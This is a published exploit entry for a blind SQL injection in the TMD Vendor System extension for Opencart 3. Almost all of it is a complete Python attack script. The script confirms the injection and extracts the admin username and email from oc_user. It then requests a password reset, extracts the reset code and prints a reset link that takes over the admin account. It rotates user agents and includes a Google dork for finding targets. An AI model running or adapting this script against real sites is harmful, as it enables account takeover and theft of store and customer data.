# Exploit Title: Opencart 3 Extension TMD Vendor System - Blind SQL Injection # Author: Muhammad Zaki Sulistya (zaki.sulistya@gmail.com) # Date: 03-11-2021 # Product: TMD Vendor System # Vendor Homepage: https://www.opencartextensions.in/ # Software Link: https://www.opencartextensions.in/opencart-multi-vendor-multi-seller-marketplace # Version: TMD Vendor System 3.x # Tested on: MacOS # Google Dork: inurl:index.php?route=vendor/allseller # Info: Patched on the new version #!/usr/bin/python import requests from bs4 import BeautifulSoup from random import randint import time class TmdSqli: def __init__(self, url): self.char_list = ['.',':', '@', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] self.url = url self.user_agents = [] self.set_user_agent() self.is_vulnerable() def set_user_agent(self): if len(self.user_agents) == 0: r = requests.get( 'https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt').text self.user_agents = r.split("\n") def get_content(self, url): try: n = randint(0, 999) headers = {} headers['user-agent'] = self.user_agents[n] req = requests.get(url, headers=headers) soup = BeautifulSoup(req.content, 'html.parser') return soup.find(id='content') except requests.exceptions.ConnectionError as e: print("CONNECTION ERROR:", e) time.sleep(60) self.get_content(url) def is_vulnerable(self): url_injection_true = self.url + "' AND 1=1--+-" url_injection_false = self.url + "' AND 1=0--+-" default_response = self.get_content(self.url) injection_true = self.get_content(url_injection_true) injection_false = self.get_content(url_injection_false) if (default_response == injection_true) and (default_response != injection_false): print("The target is vulnerable") self.injection_true = injection_true row_length = self.user_data_length() self.dump_data(row_length) else: print("Not vulnerable") def user_data_length(self): n = 1 while True: request_url = self.url + "' AND (SELECT LENGTH(CONCAT(username,0x3a,email)) FROM oc_user LIMIT 0,1)=" + str(n) + "--+-" req = self.get_content(request_url) if req != self.injection_true: n += 1 else: print("Row length : " + str(n)) return n break def reset_code_length(self): n = 1 while True: request_url = self.url + "' AND (SELECT LENGTH(CONCAT(code)) FROM oc_user WHERE username = '" + self.username + "')=" + str( n) + "--+-" req = self.get_content(request_url) if req != self.injection_true: n += 1 else: print("Row length : " + str(n)) return n break def dump_data(self, length): data = "" for i in range(1, length + 1): for j in self.char_list: j = ord(j) request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(username,0x3a,email), " + str(i) + ",1)) FROM oc_user LIMIT 0,1)=" + str(j) + "--+-" req = self.get_content(request_url) if req == self.injection_true: data += chr(j) print("Get : " + data) user_data = data.split(":") self.username = user_data[0] self.email = user_data[1] self.reset_password() def dump_reset_code(self, length): data = "" for i in range(1, length + 1): for j in self.char_list: j = ord(j) request_url = self.url + "' AND (SELECT ASCII(SUBSTRING(CONCAT(code), " + str( i) + ",1)) FROM oc_user WHERE username = '" + self.username + "')=" + str(j) + "--+-" req = self.get_content(request_url) if req == self.injection_true: data += chr(j) print("Get : " + data) return data def reset_password(self): self.admin_page = input("Admin page URL : ") request_url = self.admin_page + '/index.php?route=common/forgotten' post_data = {'email':self.email} req = requests.post(request_url, data=post_data) if req.status_code == 200: row_length = self.reset_code_length() reset_code = self.dump_reset_code(row_length) reset_password_url = self.admin_page + '/index.php?route=common/reset&code=' + reset_code print("Gotcha!") print("username : " + self.username) print("You can reset the password : " + reset_password_url) print("TARGET URL ex: https://[redacted]]/index.php?route=product/product&product_id=[product_id]") target = input("Target URL : ") TmdSqli(target)